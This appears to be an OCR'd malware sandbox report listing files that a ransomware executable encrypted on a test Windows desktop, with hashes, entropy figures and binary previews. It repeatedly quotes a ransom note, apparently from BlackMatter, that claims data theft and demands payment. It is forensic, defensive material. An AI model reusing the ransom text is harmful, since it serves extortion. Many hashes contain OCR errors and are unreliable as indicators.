SHA-512: 7A9733700C7F24C5375F92AC23A81218F4E6D6FD78266DBB475630DBBEDFBC046D56156D6F51B29D3CCEF44295DCDCC8EO8E3B003B4D03BE322F1880E657B2
D

Malicious: false

Preview:

Koo @, H.SZLE.o A K& p...(..CYE2 4 ju" > H.VX..G.-.(.G.... . W."|.EEV... *....Y+...d1HD...gs[.L KWHS....C.B...5...C.5P }..86,6.W... B.>..Z........3...5~..<I.
\..C.S...09...3X...x]..a.7..T.rlf..€0...G..-.J2.N.. jK>{-=*E..Dl..._+..H...D.1..n...Y...O.....3.....IuC......d.5..H..2..... #gdA....Cly....7..9]..@..=C.l.s.bb...w....E..e.@{Q

3878,y &\ 34,4, XN 9.0 .. .. "1.K.=&@F....B....(...1.9....d%P[.Y.N.B.-."1z.J.g%)$.BP.m
2GS 2WI2.., ] K5 DX(Y }<%...MLFL.<......0.V hu.4Y.Y,1..AR.l..U#4.q.K.m...X..3y..6-....Z_.ORIZ+C.a.v.g....A.,.Q.IS.UN....c..7.Az...L}..$s..NjF......0.=
J....-..6Uj...$.&.C.Rt..pe+.H.O/6.W..\W.QV..;..9.Y.D..v....{}.).ti.=.0.rr .R@\.N5&m.B....R.9QU.EW..l...Z.......... $.......U4.. {...E.....6..2.......~.F.Dr...;e.>
C:\Users\user\Desktop\EWZCVGNOWT.png.kVuoJyeoW
Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data
Category: dropped
Size (bytes): 1158
Entropy (8bit):  7.844285022879791
Encrypted: false
SSDEEP: 24:4r/0keNmtXQ+9V3064yhlY8QAecUvMQjPzBXFYfEC1exLtP3b3TigbNZ1:80kVXHVLRwc0jPzBXuMCMd3bTigpZ1
MD5: 6A321CA102183EF1CA34EDF6C802DAB4
SHAL: E76CD2BBOA5SE3978E226C73A50179C0D43531A6C
SHA-256: CF9F561F26DF815E5988ECESE833E8FBC047A233135AA7FD3538918DABCA5FAO
SHA-512: 7TAE284D82795FE4BD559258266A5A5C03216F7A57377956621FB59016E3C25F301B38F667CAD680CD2699DCDCO5FA6367D2CD1924F84433A1BF8393BBC1CDA47!
Malicious: false
Preview:

*0..6....._.H..?2..a(.m.;T.Y....)..g,>pl..CrrL.Gw..c..F.J\...n.v..mxs.\$02140;.|R"7Q..p.G...%D..D..Q....9.[.i..Ig[.9I[.6.~Fj.tA$..E.Q..F...i.r."V*... }.C...l. ...
...y.v.P{.5p.. 8Nt4.}6z.T..b..H...CFr.<z.d..a..s.V... X5&N..K.s.9........ u...B.2.em.T........ H...0{0.A<.c..Q.).n.G..L.*...%0...f.....LD..eEl.P.i.63..%.\".}.eE.e..0.
atodillgsnSauD? 4 v 1 L dGLU X IM.Q.~ #9].m.LF,
AT ~RUDLNLenpt (L) _u)eL5&..\A.c.4"..L.hU..(.&VN..C..H....=. #!#4
A19,@.. e Yoo (U< %..@.F..>.*.....iP.[IX.npB..u..JD.t.vd..c.8W.J.a0

C:\Users\user\Desktop\GAOBCVIQIJ.docx.kVuoJyeoW
Process: C:\Users\user\Desktop\GILHM7paoZ.exe
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C:\Users\user\Desktop\GAOBCVIQIJ.docx.kVuoJyeoW

File Type: data
Category: dropped
Size (bytes): 1158

Entropy (8bit):  7.828985779708512

Encrypted: false

SSDEEP: 24:CcLYDJD1omN1JFwHIYDRfy4brVEDe9ao7y0+rGWQ:Bk1DfLmCVINrVEDro7yOuG9

MDS5: 06C3B8A20CF7629DE4AA174D224C77DD

SHA1L: D82EBEA2F17F8911EC83351325F058856A943811

SHA-256: 0C19CFABE224A6503AEB60CB577A3ED7AA7IAGAEO2D1E91AAFF48B8F30B6EDOB

SHA-512: DEE9A010C3BB09CA8C592676532CIF6E6C5E9508ABA2FC9089D0D4024F16C4BBE910C0988A859E67D04C279BD21DCA57CD8928E3B317741574783C9C3C5F33
Malicious: false

Preview:

M(.1..5x9......C..n.=........ 5%.=.m."6........ VIR...-...N...C.<z...'&..}5.h....[...*.@.N.\y>kg-.(...... .b..._{B.R..5..K.a...1..0..
.0.7.+.aM..?2..t&...B..w..a...JG........ W..."2......Z..c.r..9.h2$..|...-).W...~Y.WD...VN..1....:3.5b..R...K..#...|

Hur....... Wf
nJ 3 S LML B R X o T d UL & @..kr~3.Rjx.K.<..IulT..X..v.g.xe.P.t.OkP...9..nH.fTh. ...*"\.K)P..TgH.6-~X......X...Li....A........ 7...hU.
.hp.....8_tKM.....(..4....q.-.&..1.. {!s.....N...De.bX.7V{ M........... 9._4../*R...XV.%H#....... 1k%..$...p..z2V.dIT.@[..t1..

C:\Users\luser\Desktop\GAOBCVIQIJ.pdf.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit): 7.834751008311722

Encrypted: false

SSDEEP: 24:dMY5KH3EuzQGuUmMnAvUmMOONi+9MyzpvfidfTsh:ddmOuzQ5mnAchui+9MSvmfgh

MD5: A49B525CF7CAE45AFE9E009A0CB894A2

SHA1L: 5842C70F01AB43369CD00FCC811485876A741D0D

SHA-256: FDD109C6A7733C7E1B9B44776B9887FF7F41E7D934A238F3D03DDEE5465E9463

SHA-512: 32E34384C474D8270AA9D8AA5184652613F0298E75F49B4A51BDFD8F3E6ICFCIEDAEI3CEB7EAA0252F18A32EF625DA7F4509E437017D31C21AA4D32CACALL2!
D

Malicious: false

Preview:

d...... \.p.]JP.T.}..H~..9,Kgh.o.Yp8.u[m...+..L.;.%..}.U.O|M;...CA..C.._w..gy..3.L..#A.v..f. ..C.v.i(C.|.b.%.>. . A.SJ. .uUfTpT8+..... JoonO X $, W.q.;...M.

?"/0....Q...eoW..8..=..<..V..Z{coc..... S..{4.c.kc..QC:.....@...$"].j...Qw..R(./..n@k>C .}qU..
..Rm#a....GG.....(....4c.X...=+0....... 3> _M#'j.mvH#. KU.g..WK.c....i..Lc.#-1~%..].Unj.8=v.0t.h{. kQ{.cs.+._t..Mp..v..]Y. . Xr:w...& .H..;.K."u/O.....)"....%\.. #.
S.>.W..K.zp.\i.40.%2.p..YyL....tFg.XB.[.2M..SFZ..$....IM..3.A?.au.d..0/..85.:Q...P.|P..QD........ S D}x.W...~.u.us.>S.C?G.{...$..~r"l...a.F}.N....C*'Ww@.....

C:\Users\user\Desktop\GAOBCVIQIJ\BNAGMGSPLO.jpg.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.83602414252293

Encrypted: false

SSDEEP: 24:Gtw3WIWem8g4KFzF6xF5i4Dzf+MNRJI5SN5e2LeHAdecmJIQx5Ibe/KPrRMDnpm:kxIWe/q6+QNb5eOesKhPryo

MD5: 68DADFAEEEOF96BA68339AC677546604

SHA1L: 4C8E4D82C5FDD7CE1BC696B9DBC6C342C8D95B9A

SHA-256: 6853615A0672B4CB49CA6A22636536AA2DF5939B7755352ABD0C663269FC8688

SHA-512: D5E04CD78E2CD2C6369EDE607F4AAC7B47D40A6BDF63A68268BC3209F5C11029689C11B17629040BDA2393769794D391C5ED90DD243442BAA400277BAABTEF
1

Malicious: false

Preview:
.B...C..*w.KB..7.".N[N_0.8..tk...D....XC. K...z>G.E<C..=......... wn..0...7..u.5...]..4n...]..{4n(@NC.3'D..W<.....p..y.....5..S.:0%...).6 K.....i..f.v.G.2.Rf.....4 _GY.M...
...2D..9f..2...11...19....0.D...0.. KL.RG..P.".KE.yc....g.~K......XE.U....."..... e...@.3i|....C[.X"iH.Fi.6b.......00~.&...CV........._... s.,N...T...U...P.L*. u....u.%N...3.. U#t}.GG..R.X

C:\Users\user\Desktop\GAOBCVIQIJ\EEGWXUHVUG.png.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit): 7.8183891360754885

Encrypted: false

SSDEEP: 24:X38MGmyxQhdONcL2hBHWWH3TJAZn1KBchCVs5jE1fWsnTOQsRPJIDfIInIs4:X3dGmdheNRHXXTaXhCVs5jE1f5CRhDIc
MD5: 57AA7D47493E6F0328068EAEF4E9F238
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C:\Users\user\Desktop\GAOBCVIQIJ\EEGWXUHVUG.png.kVuoJyeoW

SHA1L: 3FA36E3730514183C41A69A3847538EEE2C854E3

SHA-256: AB93C454E9F38FIEBI1CC1A91BB7B381F1844E3CBC374FE9A92D777B4CBB8587

SHA-512: 57406A6B28A6E994D4BB6F1F1FFDB85AE8709FBIBO0ES6DIE2C02828723C1D43BDC10B5996C5DEAF31238FF3D0CB24475984913B0A913CD2FEEDDD2C46AFD/
Cc3

Malicious: false

Preview:
HAL(...&D+...<..~A>8A..0].....|.&....i."..._JEK"..U9..* F...K.z...ilawD.+..Dk."."..c.wg8..?.hLD....;....Te8&...0K...~..E=J.{j.D.&. >...b.#xz....c....cK....... U..2..L..&..7{.0
._W..zDgE.V..YUW+t..Z..hS....2jh..y..7V......s..". k....2.8BR.L........ jm....5u.T..~3.k},.+.......2.6.7.17L.4.G..h.-%Y..F........... m...>.....X.c..).ZT.0...v..8..[.....79...bV..M4. ..

)t..C.H.<..S....a0...]...y..0.Qj@I[.P.e..../0/.$..k&..aN.Y .. XM.t.f.S......c.-...{.kypOlh..T...<.{...*a.W"<.g.MC......LR.~vOD<ody.ws, ..(_.]......""..N*....... OZ:olcR..m..=
R..n#. g...hj.E. .EN . fu>F. b *().Lave6b\.p.dm.(Q..0....L.&. .r.~[d...Xuu.m...J..c.Zb..3.<...\.p.+d.;..N*..R..s*y.M.d.Q.5.-..pl.."..+.3...0....".&...0..].v.F#
n.tc...1.....Q..Qv.....b.]$.0.../. w..D"q.5<U.1..0..K.t.L.U.....pp...F;......... 9...\{wA..L.k...q.....-U_.s~.0..:"8s.0....h....0.jg. #}.ee..l..C}&.!...9...y #v.

C:\Users\luser\Desktop\GAOBCVIQIJ\EFOYFBOLXA.mp3.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.838490014530486

Encrypted: false

SSDEEP: 24:ai5+ZwF2LxgN1WIhIfGQLXbKZ4zMRwW8SKMkwP++0/T:CLG7WIwjHzMRP9fL

MDS5: 7E54999B7ED95E0383C6EB8540218DA6

SHA1L: 689FF49EFE2660C24EE51B5307DBDE120386632C

SHA-256: D1F0A61F573E87FF9E52DA8B0351278DD5CD74AAF3AB50BE39DB62DFFE787DD6

SHA-512: FAOFAAC4ACO09EE7B169EB1B38982B022DFD4005DC3DA9E4703603DD7407956985A876EFI8C3064052F37B45DDC5B4F3393C61AB475C21A77D94F01F24BD842/

Malicious: false

Preview:
h.r.0g....\>.N?.u<i.B.k...e.AVW.O.m..b.|..n..-.=H..@..)...@...... c.L...L.b...*7TIPP..8.N|W8IJ.]..VO..P ..z.x..;..v......K*.[\|...\[zu.....y.....>.6.4....y.rC.H..%.m. .
). MU8F.<..6.e.B....f6@nue.lhr....R.Z].X.2.. .2.8"~3.(..9...p&..%.4....B....0.......{ }. mK kQ...I3U0i....,.X...z...|...9..K.3.L.*/a,..?..D.A{.D....0.1.9.U..R@!..+.K\{."S-

h.-0z..$..T.m.M4.%.....J..}..]..Y..
. . 7...Y.eB.=...NgqZM.L.L3..WH.
LAKfLwL LY. MhFYpn. M..@..: .{..[X].3cu...VZU.M.pG.7$.0...h.\...

A W2.S|.G.y./_
Lp7q.tZ.~Z]A...,.$.
Y. 7pz.ar...+(Kk...v...9.=.

sKoo....8..Z.K x....0...ZD.RC]./:. *.Z._.

L [3X.V.Grif

C:\Users\luser\Desktop\GAOBCVIQIJ\GAOBCVIQIJ.docx.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.829908844573375

Encrypted: false

SSDEEP: 24:5%43ux12gScMWUFiIMXCUGV1Uod6mxQZOucsfcaAvArJpN:Y4g2XyuFiaY Mmenc+yArJP

MD5: 4275A9612898E66ED10163721DCA43D1

SHAL: CBDC9577566CAE5A0C871A5C50236D05D0OF9771B

SHA-256: 78F6CA1148195936829B20040D964767DFF69C2F249C916783C5E85944143D41

SHA-512: 573E1201AEBBCAD158BA5CDA39965EE4101CF8691AE6CBDAS3483AC44E4E766B996D46DD6302F87F69A886B821D5FF83339F3EDF45757E151A674AD5AF44DA
0

Malicious: false

Preview:

2.nSe...eT.Coo...)oorr . DWIKN..M...".6.p.0..... [ \.. X.R.N.P.AV.KA . gW.4....3d K....y..r..f_2,.B.P....T.w8hh\Ltr.G.3.V. ~..C.T..0..u.J.+.L24... 9]U~....M'w.|]a.8W
0| L..2Q.q..@. #.. JF(Al]..=..a<L:... {q5.h..=..Qx.*...4)... . hILAY.B.J... . ABRW....... .iIK.U.H..U.,...hLt..%...Q.V }.i.=~y..1* M4.Nj...;2>"e..e...~_5pM._.T.L~

+X.D.E.a .$...8.0f_2.at_ 3 [2.0.0.0>-.....2.2.Q..9.(P'W..% s..<h.HO/(Z&.....S.j. i@\ X>../Y ;.. X F.K.[G../z...x.{er..
X..0°.X(..0.L...$5..KT..aA B..... #S4u. N{|.N(]..1.=..0X..B.nM..$]0.>.r.s_...-0..R...N_....KF.N.Q. BM@.....Y.lOW..{n).=_....[8.s.a.h.a?.2.v.N.+..

..LYB8..3.qB....F..T..6M..q.K?..g#.7..e. Mu......) W...E(....bc.......N9...m.1%..d....|. Yyw.(..L.2..T....d-..yZGYt...;..S....t FVW.A B8.6....~. #Ht...;.Q..1}:..c.H.
C:\Users\user\Desktop\GAOBCVIQIJ\QCFWYSKMHA.xlIsx.kVuoJyeoW
Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data
Category: dropped
Size (bytes): 1158
Entropy (8bit):  7.831878671259605
Encrypted: false
SSDEEP: 24:BG6mMuzv5D1QUIt5ZA47HAaBhwpx8D7E13TYTWiUb20BEIyN86A9ICI7K|E:B99VR75+KAle463TYFU2pPXUE
MD5: 8EC6FA6B5D294701703A592E946D60D9
SHAL: 06B4B0D65B6D10EDOA288E0131D61851BD557130
SHA-256: 44241C512C4A984D5CBA7B4863748CFB1E7E6FO05BOESE74403E1E3AFDCICOD7
SHA-512: 4F9AT0AEC3248A23AE2FC7A57855FD57AEOADOD849BB1592FDD4102E59075D134D5070D4FA1FCFAC891C1055E76B0O5SEC5DB23540397962E75F20881E032B534
Malicious: false
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C:\Users\user\Desktop\GAOBCVIQIJ\QCFWYSKMHA.xIsx.kVuoJyeoW

Preview:
".Q..Y.._.. RCOhv..c+illyeC T N L 4.afv> L XKLy O Mp#A. M.....-A).....4...p..-..U2..1.-R.v.5. . HN.p..X.......f..cQ$F=01.v.Y.h...50#d.._&D... f...Xa.fN.
U-.C.Y..<....Kgl.8J.0F........ (.U..Q...c..{i..L3 .6.......vAE\F.bmQ.. k.,..ZR...J,..)S'A.+.@JIc"...[K]y..>..7. .pYfi..aN.Y.=.
1...#3<....b3.1.. LJV.LLPW...b. .a.ol.\..m;....i<l..D.BJ.,;.v'U..2.H..l...z.5m#9.l...\..t..r...8w....K..V.b p...
.K.E..G_.G....G}.33?....At..y.0..0.f. .ID7..B..*..F.Z 5.T.a6.k0.h-..5.j.w........w.yoP.:.@%x6.mN..f..,...../.n.>......"%X5.c.y.sn....)... A.C&Y...>.....Y....3QL...s3>+q.w...v.. @
]...<.s..YL.BLV.5.8Q.s..t. X.[.q......S.6.xb.$>.. .=.......d. w7 l,.sL17... 4....... A.....6.ExT.h...u..Q....07.if..2.QMU..5../..TT.hO.R.&{..e0....e

C:\Users\user\Desktop\GAOBCVIQINSUAVTZKNFL.pdf.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.832907913202546

Encrypted: false

SSDEEP: 24:El/09Meu9r4ncs89R/xyEFFgIJQLR1ubul9Lbk1ZWiZWrift:20HU90nDC7yVC1sul9LW22|

MDS5: 61112CCFDD55839AC1F93A62B5F73119

SHA1L: 89BE39171E1A2BE9796C78A814E07B4A14817515

SHA-256: 7DD6638042F063FACC7EB2BC2A525C3C4391DB0DB119CB21B1B433ED4E1BDOCO

SHA-512: E6055DC011BF5F4B8059D504A923A1F47FFB132E30A860CCIOF5255046CD65066146873B53C59620A62076D65086B2526C773F22B7AES0E0A124F07EDAACAAIS3
Malicious: false

Preview:

,h.c.d.a.Q.P....k{.s....820.18 <.xn..E-n\.4p.hx.c....AU....N..(W..s.NdF..y.e~....6.f#2.d..* }...U_..aCd....
J.U.TcM.6{."e..Q...i7.5e'0.8BCd.M.\t... XAK.I<){...;..b./. ._V...7..[..%s(..uk..g..}.....BI.v,.2\u..A.t....f...A6.d.2.%....a._..3<.."'m..3..ly$GL...1..j.c}.T8.8.......q.\..<.>r.S|..
..6.r8). 1 &#.2'NZ.ELL).{D.z .| F)wt....Y..F..x2.[Wo..rUm$}A)......z... X.[.Y..%0.. ... .8/ .m....1.LY.;4Tp...G)Pk.0..Y..j..L....-.H~....D..Y.6.|b...v$X.
}0/..TOM)..e;.....G0..<.,...>..C.j.5.. s.0a3..Wn...D_."UW.w$R...n.....w....Q..R. -
LlllSafe=p AL NPT LS L~ fTUR L LB &ej...lnn L*~ I.$..;sd<.-...S.

C:\Users\luser\Desktop\GAOBCVIQIJ\kVuoJyeoW.README.txt

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped
Size (bytes): 1548
Entropy (8bit):  4.479946811569468
Encrypted: false
SSDEEP: 24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkJP1l:VAIANNAZ066uYNxZ1Ns8eOmyuZotl
MDS5: F66968C47A64569E2281F65A95991BEO
SHA1L: EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
SHA-256: 4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF
SHA-512: CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1A5B722CAD2
4
Malicious: false
Preview:
~+ . * +.. ' BLACK l. () -.=""= -o0- . =\ ] . o=l | .
\ =l o == L+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not

operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not
comply with our goals. .. We always keep

C:\Users\luser\Desktop\GIGIYTFFYT\kVuoJyeoW.README.txt

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped
Size (bytes): 1548
Entropy (8bit): 4.479946811569468
Encrypted: false
SSDEEP: 24:NVB4loz8mP/NA1jo66DUetcYRTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1:V4IAnNNAZ066uYNxZ1Ns8eOmyuZotl
MD5: F66968C47A64569E2281F65A95991BEO
SHA1L: EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
SHA-256: 4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF
SHA-512: CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4
Malicious: false
Preview:
~+ . * +.. ' BLACK l. 0 -="= -o0- . =\ ] . o=l | .
\ =S, R '=_ = v+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not

operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not
comply with our goals. .. We always keep
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C:\Users\user\Desktop\JDDHMPCDUJ.mp3.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.806217812914135

false

24:QsjE8q4DNRbHhnhsIR95901t5RiiWAiI07euJo7qM041kToX+s12qWceeo5e: TjZg4DhhsdgSAiue7q1hkTMIDoA
66031895B1BE34208F6C1C933AD48CEC

AACDEA080805773A86B7E5B8FI08F5A452C8E421
6083515B2B17952003C7218BD0719D67FBBFAD7E25E9AFFEA6FC54D6406C642A

B77FCDB673A46BA53EFB50FA5381891915FE1C2190B92AD511CB03CDA70220788AF9D2F7CF07054E371ABDCAGOD6319D2E838D6203EB5154EE12551431AAAD:
D

false

%..Le.F.nJ..M...ZG*.D.W....4..Y ......&23....ccceunnn. M [ Jo |..z\... {.RA. JT.?2Q\.20...../[..._..<S.5.0.h.m..E.%s5...MK).{7..(..?..IV".....Q.J...0...;1....pV.G.A2.f.}.... #*..\W.
..... W"...iEU....e....C/...a..6...LCg4E.. Ko|...k..E...M.G"...}52....m LodeJFLp.@.1..5p0z. AL XEBY. ... k......n.9_...Gf.8hU?_.h...%.f...,...p.5p.lg.+...DT..
TPk Co- M2 pXURBLLLLLS.VLLYNLLO. LR O d..u...E..7.@3'Sh%...g.j...Q...\K.....w+..&..D)* F'IN.uvulo;t.4.|../ ..\Wk...;.WZ..e...3.....*}

4t.m.|D,.....H...*.0..1\xM .{.y%...."..0...IK<!;D.d...W...(7.L.....J..1..."Y .VN..
LT5.9B[..... r.]*. ]s]!s....hR..... k;.0B....pWt.a]..b...B.....-Z..1.h......p..s..

F@L1.bLE..h=....6.3., M. ;L. AH.E:t..> ] .h . £]™"J... . XeS.[....t.P
k...C6.b)b...IW.iim.7.U..a......'wy..

C:\Users\luser\Desktop\JDDHMPCDUJ\kVuoJyeoW.README.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false
24:NVB4loz8mP/NA1jo66DUetcYRTXRax/ncQcPVs5V0k7jO5K3yFHsZkIP11:V4IANNAZ066uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

false

~+ . * 4. ' BLACK |. (0 -.== -0- .. =\ N .

\ o=, ol LE_E=TE L+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep

C:\Users\user\Desktop\LFOPODGVOH\kVuoJyeoW.README.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false
24:NVB4loz8mP/NA1jo66DUetcYRTXRax/ncQcPVs5V0k7j05K3yFHsZkIP11:V4IANNAZ066uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

false

~+ . * +.. ' BLACK l. (0 -=""= -o0- . =\ ] . o=l | .

\ =, oL LE_=TE L+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep

C:\Users\user\Desktop\LSBIHQFDVT.docx.kVuoJyeoW

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Users\user\Desktop\GILHM7paoZ.exe
data

dropped

1158

7.839391145262629
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C:\Users\user\Desktop\LSBIHQFDVT.docx.kVuoJyeoW

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

false

24:pM35KIzCsgzSFmMUMSzkVaaHHfgjgMMgDol43bHR:flgSFmU2Vag/OpY4x

1FFE32EF69C3574535500ABOE1D2F9E4

26CCD9E9011E97D3DCDF6E19F419FE0284250FB3

34A07A0419595D947FFA626A307174389221F65967E1275F292DEBC78158DD0C
6592C80C9C88BF76EAAEB9A3DOAF443E54D489C261A5F4AD84CF7D3C1063297A1D20B40AAD054B84E17CD1899C13C9717B93A0C8EF47A22D958D852000057522

false

qH.7Y..-L+i.g..G.[..2....._[X.kt.x..h.W..UY.K{3cs]...S.g....0.....z....x.0D])k.Q.0..... } #.l.....A%).4.... . #Q.G."...a..%."...3.u..Q......HK&....C..q".../[r....UP.W.|...cHu...%
W.S...zCz.9...L....k..h.f.m.....L.h\Jo....... n.E..U.uV'h.a.w.v.$.mo...F?.c.l.-..7>P..r.e.6.mOZlz V... a...... m.9...6....s..6..i..+.=....2.Wa...

gl Y30 4+.x.8..8.)..5]L. 0t pem N B KK c/...|1zIYO.!..l.pe...e"..bi.{N.tP.)y.E63.k.<...R..C.."..i..T.h1\.T........ £ W....@DjK.._.
Y..UXO....q.Uu... X.4."S ... pv.vP.8....b..[.1.2.0..2.rx Z\......_5b.ji.Q.L..(.p..._ .t f-dl&e e 9XMQLBLOOWNA > Lp.... . P.LZ776. ). *n0b L e A
/="L...j.-=M..&d ]..cd..c..4nR..Bf=H\ ....hE....... @.1.P...U3..y#. .. X.1#.....G.0..TL....&....pdQ...N. X.....ps...T..t..Cm..p..K)..B..+..

C:\Users\user\Desktop\LSBIHQFDVT\GAOBCVIQIJ.pdf.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.841025435150955

false

24:64iyq/SIUE/WO/KFCa4t8mDyfeoBvKCfAS2I1Qk:2D/qWO/kFR4SfeoBCCoz1Qk
3F87EC45F1F16E4C082BEE87A9F354D8
1067A4E37B031052D7FB3304B11872C2D3DB865A
0594E89CD3A050B3C184410CI9FDFDDED54AFFBD213FB4288E3F9A847ACCDEOEB

0324FB474CA6CCC5A940080B81D4EA1D5B5CB0B784CC9C19CF87FCAB86F04483C21A9EDBCBO54EE2D5F93D290A3DB62F4653036318C361245CEADFD1323E9
22

false

L3 W7o 4np..n T 7.X2.e. 7. UV.. 7. ALwC..\/.*@..h.q....Q[.L...4..L]..i.l.0.PM..@..]E..9.P5QQ.. l.>. kz.l.&k..ne+m..PFw..ZGr

..%.bj_%.;.QY...)p..\kD."..v..}..~.*9.8m...I$Y.....$).C.F.v..-...8.... (. L. WA m."|(.0.L&JYs.ap...X...Im.....Ju.Gl............. 7.F...6G._F.4.%.\.9.@D.0.g......W..hu(O.
Wi XilQuh = jQu kLAY XX NGBS AR Z K e 7L LN L4920 fALL & e 4.Yr2.6q.+.H.. ~mO..{w..l.=.W.u..%B."..;.t.. . L5n#
om.8o - {.ONy>.....$2.:.@.../.8BM..<.)0J...s.y.e ] ... u%..?2.B...@.u. XM.L.Tv....~5P."G....5_A.h"....0.,8"..L.(..........V...C. K..0..IP.0.K.7....w...GK....Xg.
[L.Y.V.uc.n..r.h(%.tQ6...Im. TW.iuF\.}.Z....;.."8&~k.2.w...p.. y.v].d..M.4.2.. +m\y.a..DK....KO{.../.fF....2m.

C:\Users\luser\Desktop\LSBIHQFDVT\LSBIHQFDVT.docx.kVuoJyeowW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.832199379847872

false

24:yBSOXCE0Y5Z9Jrfv2mZ6V4PAIMXYwk9W2eeotPKd7Xn2d TcHt6kVLtZ3F5:kKAEIJH2M6rfYuhcX2dPqz37
3CCF17C7EF5894FO0CB6DB0OD9B2FF1344

509D3AAAD7D6BB87118A1AB42D2D59E1D1B50A95
572E8F715AD49E7B7A1F3147133B6C536D03E72C2FC97DC1C5D70D0BCF9C4017

F0432C1DC77C71ED46E5FE962AED21039921BEB452210DE8SF5C153A497197A7011C0938F840DADA42EOBACESOFIDF0389322E49EA14FEC346B8F64AEA7CBSS!
4

false

92.[rY)..1V.....12..U.g L. f...G.V.=)]-.bT....aWw.;.j...%;...Q..n.U..N........ )}{.F.....NT.r.X%..0e. #dj..n...UL..y!XS.\.f..S.] W...8"...dZ......... ... UW..G.Iu.V.H...y.C\.e..
